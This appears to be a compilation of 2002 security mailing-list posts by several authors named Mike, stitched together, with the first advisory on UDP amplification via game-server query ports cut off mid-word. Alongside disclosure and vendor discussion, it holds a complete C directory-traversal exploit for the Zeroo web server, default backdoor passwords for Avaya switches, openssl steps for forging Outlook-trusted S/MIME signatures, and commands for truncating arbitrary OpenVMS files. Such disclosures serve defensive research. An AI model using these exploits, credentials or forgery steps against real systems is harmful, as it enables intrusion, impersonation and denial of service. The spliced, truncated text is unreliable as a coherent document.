Mike Kristovich, PivX Security Advisory MK#001 Date:November 26, 2002 Released:January 16, 2002 Application: Battlefield 1942 (Server and Dedicated Server) America's Army Unreal Tournament 2003 and more.. see section 2. Version: All up to current. Bug: Server status port replies to spoofed UDP packets with large amount of data. Risk:High, BF1942 servers flooded or used as flooders, DDoS risk Author: Mike Kristovich, Security Researcher, PivX Solutions, LLC e-mail: [EMAIL PROTECTED] Web: http://www.PivX.com/kristovich Sections: 1) Introduction 2) Bug 3) Proof of concept code. 4) Fix 5) Philosophy 6) Closing comments.. 7) Related Documents and Advisories 8) DDoS Related Quotes 9) Contact __ 1) Introduction This document is based on Battlefield 1942's query responses, but this vulnerability exists in many games. As a basic rule of thumb, if it supports gamespy (http://www.gamespy.com), it will likely be vulnerable. The following games are vulnerable to the same type of attack, and most use the same general query commands (excluding Quake, Quake 2, Return to Castle Wolfenstein, and a couple others). The other query commands can be found in the source of a free program called "Server Query" (http://www.ServerQuery.com). The general rule of thumb is: If its supported by GameSpy and Server Query, its vulnerable. Affected Games -- Quake Quake 2 Q3: Arena & Team Arena Kingpin Half-Life Counter-Strike Sin Soldier of Fortune Daikatana Unreal Tourn. Quakeworld Unreal RuneGoreTribes Tribes 2Serious Sam Serious Sam 2 C&C: Renegade Global Operations Jedi Knight 2 Battlefield 1942 America's Army Unreal Tournament 2003 Return to Castle Wolfenstein Medal of Honour: Allied Assault SoF2: Double Helix SoF2: Double Helix Demo Alien vs Predator 2 NeverWinter Nights V8 Supercar Challenge - The usage example for Battlefield 1942 follows.. The risk for this vulnerability seems to be worse on a game such as Battlefield 1942 due to its ability for to support 64 player servers. Battlefield 1942 servers listen on UDP port 23000, awaiting commands: i.e. '\status\' '\players\' '\packets\' '\echo\' '\rules\', and more. The server uses a protocol very similar to UT2003 and America's Army, and many other GameSpy* supported games. * Gamespy is a popular program that allows game clients to find and connect to game servers. BF1942 allows you to combine requests: i.e. '\status\players\packets\rules\' When a request like the example above is sent, it uses approximately 30 bytes, not including UDP overhead. The resulting response can be anywhere from as low as 6000 - 7000, to as high as 11,000+ bytes. Using an example of 30 bytes:11,799 bytes, we get a ratio of 1:393. Basically, for every 1 byte we've sent, 393 are returned (in this particular example, which comes from a server housing 41 players).. Results will vary. A server which holds 64 players could potentially respond with well over 18,000 bytes. A server housing 31 players, in our test, responded with 9,583 bytes for a single 30 byte request. Side note, one single UDP request using the query line in our POC code responds with 10 seperate responses (due to packet size limitations.) This also means, if the victim port is unreachable, the victim will respond to the data with 10 ICMP Unreachable responses. __ 2) Bug UDP is a connectionless protocol of which the source ip and port can easily be spoofed. If you've read the introduction, you can probably see where I'm going with this. The BF1942 status port will reply an amazing amount of requests, and although I have only personally tested this to 50 kbytes/sec, I dont see any reason why you couldn't go even higher. When these requests are received, the reply is sent to the source host which, in this case, we have spoofed. This causes a huge packet flood to your victim, therefore you now have your DoS. When tested, a single upstream of 4 k/s to the BF1942 server yielded over 550 k/s being sent to the victim host. When the victim's host receives these packets on a UDP port which is open (commonly found to be 135 (MS/DCE RPC), 53 (DNS), and so on), the downstr
RE: Foundstone Research Labs Advisory - Multiple Exploitable Buffer Overflows in Winamp (fwd)
I went ahead and installed the latest 2.81, even though it was dated as you said. After the install I found a file in the Plugins directory named IN_MP3.DLL, which is 132K in size and dated December 16, 2002, 1:55 PM. Perhaps this is the file which created the fix. Unfortunately, I didn't check the directory contents prior to updating from 2.80. Mike > -Original Message- > From: David Howe [SMTP:[EMAIL PROTECTED]] > Sent: Thursday, December 19, 2002 9:49 AM > To: Email List: BugTraq > Subject: Re: Foundstone Research Labs Advisory - Multiple Exploitable > Buffer Overflows in Winamp (fwd) > > at Thursday, December 19, 2002 12:31 AM, Dave Ahmad > <[EMAIL PROTECTED]> was seen to say: > > Solution: > > For Winamp 2.81 users > > We recommend either upgrading to Winamp 3.0 or redownloading Winamp > > 2.81 (which has since been fixed) from: http://www.winamp.com > Does anyone have a more direct URL or a MD5 hash of the "safe" file? the > current download of 2.81 is still dated Aug 21 and the current 3.0 dated > 8 Aug (on the site - haven't downloaded 3.0. but the internal date on > 2.81 is definitely the 21st) > There is also *nothing* about this on the winamp site - its as if it > didn't exist. >
RE: Password Hole Found In Webshots - (Webshots Confirmed)
>From Webshots (confirmed): -Original Message- From: [EMAIL PROTECTED] [SMTP:[EMAIL PROTECTED]] Sent: Wednesday, December 18, 2002 9:33 AM To: Shutters, Mike Subject:Re: Password Hole Found In Webshots [T200212130039] Hello Mike, Thank you for contacting Webshots! Unfortunately the password protection feature within our software is not very reliable, our engineers are working on improving this feature for our software. We suggest that you use the password protection within your operating system. I apologize for the inconvenience. Sincerely, Belynda __ Customer Support Representative, www.webshots.com Please include all prior messages in any responses > -Original Message- > From: Brian Carpenter [SMTP:[EMAIL PROTECTED]] > Sent: Thursday, December 12, 2002 10:33 AM > To: [EMAIL PROTECTED] > Subject: Password Hole Found In Webshots > > I have descovered a hole in the webshots screensave program. On > either > a Win2K or xp machine that has it installed you can bypass the password > on the screen saver by pressing Ctrl+Alt+Del wich brings up the Windows > box that contains logout lockcomputer shutdown ect: Then you will hit > cancel and boom you are at the desktop with all the permisions the > previous user had. If you have windows password locking the screen saver > you are able to Ctrl+Alt+Del and then go to taskmanger and end the > screen saver thus bringing you back to the desktop. > > This works with both webshots password set up and the windows > password > setup on the computer. As long as webshots is used the hole is there.
Zeroo Webserver remote directory traversal exploit
Hey guys,
A while back there was that directory traversal exploit for the Zeroo
webserver. (http://lonerunner.cfxweb.net)
Here is a proof of concept code, enjoy.
/*
* zeroo httpd remote directory traversal exploit
* proof of concept
* hehe, just a copy and paste from my other directory
* traversal exploit ;p
* [mikecc] [http://uc.zemos.net/]
*/
#include
#include
#include
#include
#include
#include
#include
#include
#define FOO "../"
void get(int sd);
int main(int argc, char **argv)
{
struct sockaddr_in sock;
struct hostent *pHe;
int sd;
int amt;
char * host;
char * file;
short port;
char expstr[1024];
int x;
char * baz;
printf("UC-zeroo\n");
printf("zeroo httpd remote exploit\n");
printf("[mikecc/unixclan] [http://uc.zemos.net/]\n\n";);
if (argc != 5)
{
printf("%s host port file traverse_amount (>= 1 [keep incrementing
till hit])\n",argv[0]);
return 0;
}
host = argv[1];
port = atoi(argv[2]);
file = argv[3];
amt = atoi(argv[4]);
if ((pHe = gethostbyname(host)) == NULL)
{
printf("Host lookup error.\n");
return 0;
}
if ((sd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{
printf("sock() failed.\n");
return 0;
}
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
memcpy(&sock.sin_addr.s_addr,pHe->h_addr,pHe->h_length);
printf("Connecting...\n");
if ((connect(sd,(struct sockaddr *)&sock,sizeof(sock))) == -1)
{
printf("Failed to connect to %s.\n",host);
return 0;
}
printf("Setting up exploit string..\n");
if ((amt + 8 + strlen(file)) > 1024)
{
printf("Error. Limit 1024 characters.\n");
return 0;
}
sprintf(expstr,"GET /");
for (x = 0; x < amt; x++)
{
strcat(expstr,FOO);
}
printf("\tInserting file string..\n");
strcat(expstr,file);
strcat(expstr,"\n\n");
printf("Sending exploit string...\n");
write(sd,expstr,strlen(expstr));
get(sd);
close(sd);
return 0;
}
void get(int sd)
{
char buf[1024];
int x;
fd_set rset;
FD_ZERO(&rset);
while (1)
{
FD_SET(sd,&rset);
select(sd+1,&rset,0,0,0);
if (FD_ISSET(sd,&rset))
{
if ((x = read(sd,buf,1024)) == 0)
{
printf("Connection closed by foreign host.\n");
exit(1);
}
buf[x] = 0; /* clean out junk */
printf("%s\n",buf);
}
}
}
---
mikecc ([EMAIL PROTECTED])
grep mikecc /etc/passwd|cut -d":" -f5|sed s/,,,//
Re: Undocumented account vulnerability in Avaya P550R/P580/P880/P882switches
In response to tbe below, we examined this issue on a Cajun P550 (not 550R) with software version 4.3.5. We found: 1) The accounts (manuf and diag) are clearly present in the config and easily seen with 'show running-conf' or 'show startup-conf' 2) They are system accounts and cannot be deleted 3) They have by default the passwords indicated by Mr. Lipkowski 4) They CAN have their passwords changed by the 'root user' and the changes save sucessfully across reloads. We'd ask that others verify (for other software/hardware combinations) whether they can change the account passwords ( 'username manuf password foo' ), and save them ( 'copy running-config startup-config' ), reload, and check whether the passwords changes have saved. As an aside: While testing, we noticed that accounts with the same password show the same saved hash, indicating that only one salt is in use. That may be a legacy item on the P550, which is discontinued and stuck at 4.3.5 version software. We'd ask others to check whether this (minor, but nevertheless real) issue is present in newer revisions as well. -Mike -- Michael Scher | Director, Neohapsis Labs [EMAIL PROTECTED] | General Counsel On Tue, 15 Oct 2002, Jacek Lipkowski wrote: > Undocumented account vulnerability in Avaya P550R/P580/P880/P882 switches > > 1. Problem Description > > Two undocummented accounts with default passwords allow access via telnet > and the web interface to Cajun P550R/P580/P880/P882 switches. Both > accounts give developer access to the switch. The vulnerability can be > avioded by upgrading to software version 5.3.0 or later and disabling the > accounts. > > 2. Tested systems > > The following versions were tested and found vulnerable: > > Avaya Cajun P580 software version 5.2.14 > > All previous software versions are assumed to be vulnerable. This > problem is present in P550R,P580,P880 and P882. > > 3. Details > > The vulnerable firmware installs the following strings into the switch > configuration by default: > > username "root" password encrypted-type1 "$tSfIcnbTP.pxRf7BrhGW31" > access-type admin > username "diag" password encrypted-type1 "$PQO.vGxkvDHkEDCJ2YsoD1" > access-type read-write > username "manuf" password encrypted-type1 "$seHFLP9b16m2v/534WCk90" > access-type read-write > > The only documented password is for the root user. This user can't > change the diag and manuf accounts. > > The un-documented passwords are: > > user password > > diag danger > manuf xxyyzz > > Both of these accounts give developer access to the switch (read-write > access-type), which is more priviliged than normal administrative access > (admin access-type). > > 4. Recommendations > > As always it is good administrative practice to block access to > administrative interfaces (telnet, web) at the firewall. Upgrading to > software version 5.3.0 or later and disabling the accounts resolves ths > issue. > > As a temporary workaround download the configuration file via tftp, edit > out these accounts, or change their password hashes, and upload it to the > switch. > > > 5. Vendor status > > AVAYA was informed on 2 Oct 2002. The vendor responded the same day, proved > responsive and worked promptly on the problem. I have agreed to release the > information after the release of the official AVAYA advisory. The official > Avaya advisory was out on 11 Oct 2002. The fixed software is avaliable from the > Avaya support site http://support.avaya.com. > > Official AVAYA security advisories are located at > http://support.avaya.com/security/ > > 6. Disclaimer > > Neither I nor my employer is responsible for the use or misuse of > information in this advisory. The opinions expressed are my own and not > of any company. Any use of the information is at the user's own risk. > > > Jacek Lipkowski [EMAIL PROTECTED] > > Andra Co. Ltd. > ul Wynalazek 6 > 02-677 Warsaw, Poland > http://www.andra.com.pl > > >
Re: Kill a Unisys Clearpath with nmap port scan
At 03:57 PM 10/2/2002 -0500, Jonathan G. Lampe wrote: >Unisys "Clearpath" mainframes are very sensitive to the probes of nmap and >similar programs. Basically, by only port-scanning (not even >fingerprinting), you can cause the entire machine to seize up. (Yes, the >whole machine...not just a job or the TCP/IP device.) > >The problem may be occurring because the host fires up a job to log each >incomplete TCP handshake - other people have suggested a problem with the >TCP/IP stack on the iron, but I really don't know for sure. Wow, and I thought I was the only one who experienced this. I ran a quick Superscan (Foundstone) against a Clearpath subnet one time, and within an hour was contacted by the admin for a "possible security issue". This was about the 4th time I had port scanned that network, only this time one of the operations folks had notices a huge spike in resource utilization. The problem I observed was that the system seems to run something like inetd in which it fires up a process when something connects to the port, instead of running network processes in a daemon mode. The spike happened because so many services were configured, and all the ports were hit within a few seconds. This caused what I call a "hunka hunka burnin' processes" to fire up all at once. Depending on the size and configuration of the box you could easily max out system resources, and crash the box. Maybe some Clearpath experts can comment on this? Of course the admin's response was "new rule, no portscanning." My response was "secure your box". From what I've seen, most Clearpath admins don't do much locking down on those boxes, because "mainframes are secure". If you want to see some really scary stuff, start poking around SNMP and see what information you can get ; ) -Mike
Re: Cisco Secure Content Accelerator vulnerable to SSL worm
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 We can confirm the finding made by Matt Zimmerman <[EMAIL PROTECTED]> for all older releases of the Cisco Secure Content Accelerator software. Cisco has released version 3.2.0.20 of Cisco Secure Content Accelerator software on September 27, 2002 which resolves the OpenSSL issue. The new version of software is available to customers via our website at http://www.cisco.com/cgi-bin/tablebuild.pl/cs-conacc This problem has been documented in the Release-notes for version 3.2.0.20 online at: http://www.cisco.com/univercd/cc/td/doc/product/webscale/css/css_sca/sca_320/v320b20.htm#xtocid13 - -Mike- > Product : Cisco SCA 11000 Series Secure Content Accelerator > Product URL : http://www.cisco.com/warp/customer/cc/pd/cxsr/ps2083/ > CVE : CAN-2002-0656 > Software release: All current releases > Vendor status : PSIRT and TAC notified 2002/09/17, last update 2002/09/24 > Patch status: No patch available > Attempts to exploit the vulnerability described in CAN-2002-0656 cause the > SCA 11000 (all tested software releases) to spontaneously reboot, resulting > in at least a denial of service. This product incorporates code from an > older OpenSSL release, and thus shares the same vulnerability. There is no > known means to work around this issue, short of disabling SSL services on > the system. > Cisco's Secure Content Accelerator is closely related to SonicWall's SSL > offloader product. The SonicWall product was also vulnerable, and a > statement and fix were issued promptly: > http://www.sonicwall.com/support/security_advisories/security_advisory-openSSL.html > No official fix is as yet available from Cisco for this issue, and no > advisory has been released. Impact is likely equivalent to impact on the > SonicWall product. > Cisco PSIRT publishes advisories here: > http://www.cisco.com/warp/public/707/advisory.html > -- > - mdz - -- - | |||| | Mike Caudill | [EMAIL PROTECTED] | | |||| | PSIRT Incident Manager| 919.392.2855 | | | DSS PGP: 0xEBBD5271 | 919.522.4931 (cell)| | ..:||:..:||:.. | RSA PGP: 0xF482F607 -| | C i s c o S y s t e m s | http://www.cisco.com/go/psirt | - -BEGIN PGP SIGNATURE- Version: PGP 6.5.2 iQA/AwUBPZ3+GYpjyUnrvVJxEQIlbQCeP9Ce2M7rpVgGncXa67XLyUcFzNoAoN5p 8V8uMFPZKxJ10sHmkzOceYc9 =qOdy -END PGP SIGNATURE-
OpenVMS POP server local vulnerability
Akita Security Advisory 27/09/2002 OpenVMS UCX$POP_SERVER.EXE vulnerability Advisory: http://www.akita-security.co.uk/VMS/ucx_pop_server.txt VMS security tool http://www.akita-security.co.uk/stoat Overview UCX is the main TCP/IP stack for OpenVMS. Akita Security have discovered a vulnerability in every version of the UCX pop server which allows a local user to overwrite any file on the system with a 0 byte file. Due to the popularity of UCX this problem will be widespread amongst OpenVMS installations. This issue was discovered as part of wider research into OpenVMS security. Many issues have been found, and further advisories will be released shortly. Detail == The UCX pop server binary, SYS$SYSTEM:UCX$POP_SERVER.EXE, is installed with the VMS privileges BYPASS and SYSPRV: INSTALL> list ucx$pop_server.exe /full DISK$OPENVMS071:.EXE UCX$POP_SERVER;1 Prv Entry access count = 1 Privileges = SYSPRV BYPASS INSTALL> The BYPASS privilege allows the pop server to override filesystem permissions. By use of the -logfile commandline switch, it is possible to persuade the server to open a file anywhere, or to truncate an existing file, as follows: $ show process/privs 25-SEP-2002 10:47:35.02 User: MIKE Process ID: 013F Node: VAX Process name: "_TNA21:_1" Authorized privileges: NETMBXTMPMBX Process privileges: NETMBX may create network device TMPMBX may create temporary mailbox Process rights: INTERACTIVE REMOTE System rights: SYS$NODE_VAX $ $ break_it :== $sys$system:ucx$pop_server.exe $ break_it -logfile sys$system:I_SHOULDNT_BE_ABLE_TO_WRITE_HERE 19102-09-24 17:41:39 sizeof(block_wait_times) 160 19102-09-24 17:41:40 sizeof(struct vms_time_rec) 32 19102-09-24 17:41:40 num_elems 5 [SNIP] ^C $ dir/prot sys$system:I_* Directory SYS$SYSROOT:[SYSEXE] I_SHOULDNT_BE_ABLE_TO_WRITE_HERE.;1 insufficient privilege or object protection violation Total of 1 file. $ The file created looks like this: Directory SYS$SYSROOT:[SYSEXE] I_SHOULDNT_BE_ABLE_TO_WRITE_HERE.;1 File ID: (9499,485,0) Size:0/0 Owner:[SYSTEM] Created: 24-SEP-2002 17:41:41.14 Revised: 24-SEP-2002 17:41:57.09 (1) Expires: Backup: Effective: Recording: File organization: Sequential Shelved state: Online File attributes:Allocation: 0, Extend: 0, Global buffer count: 0 No version limit Record format: Stream_LF, maximum 0 bytes, longest 32767 bytes Record attributes: Carriage return carriage control RMS attributes: None Journaling enabled: None File protection:System:RWED, Owner:RWED, Group:RE, World: Access Cntrl List: None Total of 1 file, 0/0 blocks. $ Severity At the least, this bug could be used by a local user to destroy an OpenVMS installation, or overwrite logfiles. If a local user could control the log output of the pop server it could probably be used to gain full privileges, although this is speculation on our part. Workaround == Remove world execute permissions for the pop server binary. Vendor status = Akita Security informed Compaq of this vulnerability on 14/06/2002. Compaq have released an ECO which corrects the problem: ECO B 1-JUL-2002 Alpha and VAX Problem: Disable the "-logfile" command line switch, which is not needed on OpenVMS. Deliverables: TCPIP$POP_SERVER.EXE V5.3-18B Reference: Internal testing. Please note the lack of reference to a security problem, and the lack of credit to Akita Security. Internal testing ? Credit == This issue was discovered by [EMAIL PROTECTED] -- Mike Riley - Security Systems manager @ Akita http://www.akita-security.co.uk Sales: T:+44(0)1869 320111 F: +44(0)1869250688 E: [EMAIL PROTECTED] Tech: T: +44(0)1869 320111 E: [EMAIL PROTECTED] "Security, performance, cost - pick two"
Outlook S/MIME Vulnerability
=== Outlook S/MIME Vulnerability 09/02/02 Mike Benham <[EMAIL PROTECTED]> http://www.thoughtcrime.org === Abstract Outlook's S/MIME implementation is vulnerable to the certificate chain spoofing attack, despite Microsoft's claim that IE is the only affected application. The vulnerability allows anyone to forge the digital signature on an email that is to be viewed with Outlook. No warnings are given, no dialogs are shown. Description For a complete description of the certificate chain attack, see: http://online.securityfocus.com/archive/1/286290 As with the IE SSL vulnerability, an attacker generates a bad certificate chain: [Issuer:VeriSign | Subject:VeriSign] >[Issuer:VeriSign | Subject:www.thoughtcrime.org] >[Issuer:www.thoughtcrime.org | Subject:Bill [EMAIL PROTECTED]] Outlook fails to check the Basic Constraints on the intermediate certificate and accepts the leaf certificate as valid. = Severity As it stands, there is virtually no difference between signed and unsigned email in Outlook. Unless carefully inspected, signed email in Outlook is essentially meaningless. This also applies to any signed email received over the past 5+ years. Prudent users who must continue using Outlook for signed email should manually inspect and verify received certificate chains. Affected Clients Mozilla is NOT vulnerable. Outlook Express 5 is vulnerable. (Tested on fully patched Win2k SP3 system) Exploit 1) Put a valid CA-signed certificate and private key in a file "middle.pem" (If you don't have a valid CA-signed certificate, there's one bundled with sslsniff: http://www.thoughtcrime.org/ie.html) 2) Generate a fake leaf certificate signing request: a) openssl genrsa -out key.pem 1024 b) openssl req -new -key key.pem -out leaf.csr 3) Sign the CSR with your "intermediate" certificate: a) openssl x509 -req -in leaf.csr -CA middle.pem -CAkey middle.pem -CAcreateserial -out leaf.pem 4) Sign a spoofed mail message: a) openssl smime -sign -in mail.txt -text -out mail.msg -signer leaf.pem -inkey key.pem -certfile middle.pem -from [EMAIL PROTECTED] -to [EMAIL PROTECTED] -subject "SM Exploit" 5) Send the mail: a) cat mail.msg | sendmail [EMAIL PROTECTED] I encourage everyone to send Bill Gates an email from himself. =) == Vendor Notification Status Microsoft knows about this, of course, but "isn't even sure whether to call this a 'vulnerability'." Right. - Mike -- http://www.thoughtcrime.org
IE SSL Exploit
This is a follow-up to my previous advisory: http://online.securityfocus.com/archive/1/286290/2002-07-31/2002-08-06/0 Thanks to everyone who helped verify the vulnerability. I've written a small tool (sslsniff) that demonstrates the severity of this vulnerability in a real-world setting. It performs undetected hijacking/sniffing of IE SSL sessions, even on a switched network. It can be found at http://www.thoughtcrime.org/ie.html Still no word from Microsoft. - Mike -- http://www.thoughtcrime.org
RE: EEYE: Macromedia Shockwave Flash Malformed Header Overflow
The linux and solaris updates will be avaliable later today. You will be able to download it at: www.macromedia.com/go/getflashplayer/ mike chambers [EMAIL PROTECTED] > -Original Message- > From: Scott Lampert [mailto:[EMAIL PROTECTED]] > Sent: Friday, August 09, 2002 3:45 PM > To: BUGTRAQ > Subject: Re: EEYE: Macromedia Shockwave Flash Malformed > Header Overflow > > > On Thu, Aug 08, 2002 at 05:26:20PM -0700, Marc Maiffret wrote: > > Vendor Status: > > Macromedia has released a patch for this vulnerability, > available at: > > > http://www.macromedia.com/v1/handlers/index.cfm?ID=23293&Metho d=Full&Title=M > PSB02%2D09%20%2D%20Macromedia%20Flash%20Malformed%20Header%20Vulnerabili ty%2 > 0Issue&Cache=False > > Discovery: Drew Copley > Exploitation: Riley Hassell > As far as I can see there is no update to the UNIX versions. The files are all dated March 25. The bulletin describes version 6 of the Flash player as the fix, however that doesn't seem to be available for anything other than Windows and Mac. Am I missing something? -Scott -- Scott Lampert <[EMAIL PROTECTED]> "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, 1759 Public Key: http://www.lampert.org/public_key.asc
Re: IE SSL Vulnerability
On Wed, 7 Aug 2002, Alex Loots wrote: > Hi Mike, > I visited your demo at https://www.thoughtcrime.org. It appears that Thawte is > the TTP instead of Verisign. Does this make any difference for example the > certificate extensions? First of all, https://www.thoughtcrime.org is NOT the demo site. Several people were confused by this email, and subsequently concluded that their browser isn't vulnerable because they got an alert that the "name on the certificate is invalid." If you would like to see a demo of this vulnerability, please email me offline. > Is that what you are saying here that you got a subordinate CA signing > certificate from Thawte (or Verisign according to your posting) for > thoughtcrime.org and used this to generate a end entity server certificate for > any domain you like? Or did you got an end entity server certificate from > Thawte for www.thoughtcrime.org and used this certificate to sign end entity > certificates? > > I ask this because in the basic constraints of www.thoughtcrime.org in your > example the "subject type" is "end entity" instead of "CA" which should be the > case for an intermediate CA according to RFC 2459. I think that you used a > end entity certificate as intermediate CA, but I am not sure. Thawte and Verisign aren't doing anything wrong. I received an end-entity certificate with the CA basic constraint set to FALSE from Thawte. According to RFC 2459, intermediate CAs in a certificate chain SHOULD have a CA basic constraint set to TRUE. According to that document, steps "h" through "m" should be applied to all certificates but the leaf certificate when verifying a certificate path. Step "i" is: (i) Verify that the certificate is a CA certificate (as specified in a basicConstraints extension or as verified out-of-band). ...so this is the point. I'm using my joe-schmoe end-entity certificate as an intermediate certificate, and IE is not doing step i. The vulnerability lies with IE. > > As the unscrupulous administrator of www.thoughtcrime.org, I can generate > > a valid certificate and request a signature from VeriSign: > > Is this a CA-signature or a end entity signature? It's a signature from an end-entity certificate, but IE treats it as a CA signature. > > [CERT - Issuer: VeriSign / Subject: VeriSign] > > -> [CERT - Issuer: VeriSign / Subject: www.thoughtcrime.org] > > > > Then I generate a certificate for any domain I want, and sign it using my > > run-of-the-mill joe-blow CA-signed certificate: > > The "name constraints extension" in the CA certificate should not allow this. > However in the case of a end entity certificate the name constraints extension > is not present so you used a end entity certificate for your run-of-the-mill > joe-blow CA-signed certificate? > > > [CERT - Issuer: VeriSign / Subject: VeriSign] > > -> [CERT - Issuer: VeriSign / Subject: www.thoughtcrime.org] > >-> [CERT - Issuer: www.thoughtcrime.org / Subject: www.amazon.com] > > > Since IE doesn't check the Basic Constraints on the > > www.thoughtcrime.org > > certificate, it accepts this certificate chain as valid for > > www.amazon.com. > > > > Anyone with any CA-signed certificate (and the corresponding private > > key) can spoof anyone else. > > Not if the "name constraints extension" is properly defined by the TTP. See > section "4.2.1.11 Name Constraints" of RFC 2459. And the "pathLenConstraint > field" in the basic constraints is set to zero. > > So is IE really vulnerable or is it the TTP that messed up by not defining a > "name constraints extension"? IE is vulnerable. There's no reason to have a name constraints extension on an end-entity certificate at all. Anyone verifying the certificate path would trip over the absense of a CA basic constraint before even getting to name constraints. - Mike -- http://www.thoughtcrime.org
Re: [VulnWatch] iDEFENSE Security Advisory: iSCSI Default Configuration File Settings
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 The Cisco PSIRT would like clarify the issue raised in the following iDEFENSE Security Advisory. The installation script for the linux-iscsi drivers on Cisco's worldwide web site (http://www.cisco.com/) and the corresponding mirrored distributions on SourceForge (http://sourceforge.net/) installs the /etc/iscsi.conf file with mode 0600 (read/write only by the file owner which is set to the root user). Therefore, installations of linux-iscsi installed from a distribution downloaded from Cisco or SourceForge are not vulnerable. Other Linux distributors may repackage the iSCSI drivers setting the file permissions appropriately for their own distribution. Since the /etc/iscsi.conf file contains CHAP passwords, this file should not be readable or writable by anyone other than the root user. If you are running a version of the linux-iscsi drivers from another vendor, you should both inspect the permissions on the /etc/iscsi.conf file and patch your systems when those vendors issue their respective patches for the issue. Also, let me take this opportunity to remind folks that vulnerabilities within any Cisco product should be reported directly to "[EMAIL PROTECTED]" or "[EMAIL PROTECTED]". At the very least we can assist with the verification of the vulnerability. - -Mike- -BEGIN PGP SIGNATURE- Version: PGP 6.5.2 iQA/AwUBPVLsHZPS/wbyNnWcEQJ53gCfY9MIBnFXDk6yVbpMVMSv3oVr6FIAn0Dc y3DuunME0m7s2pChKiTDvJzW =7o1f -END PGP SIGNATURE- > David Endler <[EMAIL PROTECTED]> [2002-08-08 10:30] wrote: > iDEFENSE Security Advisory 08.08.2002 > iSCSI Default Configuration File Settings > > > DESCRIPTION > > iSCSI is a popular new protocol that allows the SCSI protocol > to be used over traditional IP networks. This allows for SAN > like storage arrays without requiring new network > infrastructure. iSCSIs primary authentication mechanism for > users is the CHAP protocol (Challenge Handshake Authentication > Protocol), which is very resilient against replay attacks and > provides strong protection for the users password. The CHAP > protocol requires the users password to connect, and in order > to automate this process the user must provide the cleartext > password to the system that is then stored, typically in > cleartext, so that it will be accessible when needed. Care > must be taken to ensure configuration files containing the > cleartext password are properly protected. For more > information on the CHAP protocol please see RFC 1994. > > The primary iSCSI implementation for Linux, Linux-iSCSI is a > freely available software package primarily maintained by > Cisco Systems. This package stores it primary configuration > directives in the file: > > /etc/iscsi.conf > > This file is created world writeable by default and no mention > is made in the file of the importance of protecting it from > being read by attackers. At least one vendor has shipped this > file world readable in the default configuration of a beta > release of an operating system, when notified they stated it > would be fixed in the release version of the operating system. > > ANALYSIS > > Any authentication systems that require cleartext passwords to > be stored should be carefully audited to ensure that passwords > are properly protected. This problem can also potentially > affect numerous packages, ranging from NTP and BIND to iSCSI > all of which require stored passwords or secrets. > > DETECTION > > Check the permissions on the file: > > /etc/iscsi.conf > > The file should be owned by the user and group root, and only > the root user should be granted read and write access to the > file, all other permissions should be removed (i.e. file > permissions should be 0400) > > VENDOR RESPONSE > > Red Hat has confirmed that the file /etc/iscsi.conf was set > world readable in the Limbo Beta, and that it will be fixed in > the next release version of Red Hat Linux. SuSE has confirmed > that the file permissions are set correctly on > /etc/iscsi.conf. No other major Linux vendors appear to be > shipping the iSCSI package yet. > > DISCOVERY CREDIT > > Kurt Seifried ([EMAIL PROTECTED]) > > DISCLOSURE TIMELINE > > July 11, 2002:Problem found on Red Hat Linux Limbo Beta #1 > Initial contacts sent to Red Hat, SuSE and Cisco > > July 12, 2002:SuSE confirms file mode 600 by default, not > vulnerable > Email sent to Matthew Franz at Cisco, additional Cisco > employees also contacted, iSCSI for Linux is an external > project at Cisco, PSIRT was not used, no response ever > received. > > July 17, 20
Re: It takes two to tango
> Hi, > > I just read the article at News.com > (http://news.com.com/2100-1023-947325.html?tag=fd_top) about the > controversy between HP and Snosoft. It seems that HP is upset that > details of a dangerous security hole in the HP Tru64 operating system > were published by "Phased", a security researcher with Snosoft, here on > Bugtraq. I really feel that HP went way over the line by trying to > place all the blame on Snosoft for HP's security hole by invoking the > DMCA and the Computer Fraud and Abuse Act. Sounds like now might be the time to start looking at Espon, Canon, etc. for printers and scanners, which sucks cause I've always has good luck with their stuff... I would suggest that everyone who agrees send HP an email expressing your disappointment in this matter. Just to help those short on time: Contact HP (USA): http://www.hp.com/country/us/eng/contact_us.htm E-mail Carly Fiorina (CEO): http://www.hp.com/hpinfo/execteam/email/fiorina/index.htm
Re: VNC authentication weakness
> To be more specific, there are two things you need in a challenge > value: uniqueness and unpredictability. Lack of uniqueness allows an > attacker to replay a past response to a future challenge. Predictability > allows an attacker to pre-fetch a correct future response from one of the > parties. > > A counter provides perfect uniqueness (up to its maximum range) but easy > predictability. A physical random source provides great unpredictability A counter is acceptable if it and a value from the entropy pool are run through MD5 or SHA1. The "seed" or current state of the entropy pool must of course be kept in a secure fashion and not revealed. You must not ever re-issue a challenge, etc. The counter must be used properly and not allowed to wrap without some sort of reseeding operation. Otherwise, you will violate the previous condition. I have hardly covered all the points. A good paper seems to be: http://www.counterpane.com/yarrow.html. Mike
Re: Phenoelit Advisory, 0815 ++ * - Cisco_tftp
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 We can confirm the finding made by [EMAIL PROTECTED] The issue has been assigned Cisco Bug ID CSCdy03429. Workarounds exist which can prevent the router affected from a device reset. At this time Cisco does not believe that software upgrades are necessary to resolve this issue. Cisco IOS versions 12.0 and higher are not affected by this problem. Cisco IOS versions 11.1, 11.2 and 11.3 (most trains) contain a buffer overflow in the embedded Trivial FTP (TFTP) server which can cause a reset of the device. The buffer overflow occurs due to an unchecked buffer containing the filename reqested via a TFTP read-request. From our testing, to cause the device to reset requires the use of a crafted TFTP packet, as the TFTP client side software which we tested would not permit a long enough filename to demonstrate the problem. The workarounds are for all users running affected Cisco IOS versions who have enabled the tftp server on the device, to either disable the server or to add an alias onto the filenames being served via TFTP. If TFTP server functionality is not needed the service may be disabled by removing all commands beginning with the string "tftp-server" from the configuration. In order to add an alias onto the filename being served via TFTP, you will need to first remove that line and add it back. For instance, if the following configuration existed: tftp-server flash c2500-js-l.112-20 you would need to issue the following commands. #config terminal Enter configuration commands, one per line. End with CNTL/Z. (config)#no tftp-server flash c2500-js-l.112-20 (config)#tftp-server flash c2500-js-l.112-20 alias CiscoIOS If multiple filenames are being served via TFTP on the device and you desire to use the workaround of adding an alias to the filename, you will have to add an alias on each entry. Any "tftp-server" entry without an alias on a device running an affected version of Cisco IOS would be sufficient to be vulnerable to a device reset. - -Mike- -BEGIN PGP SIGNATURE- Version: PGP 6.5.2 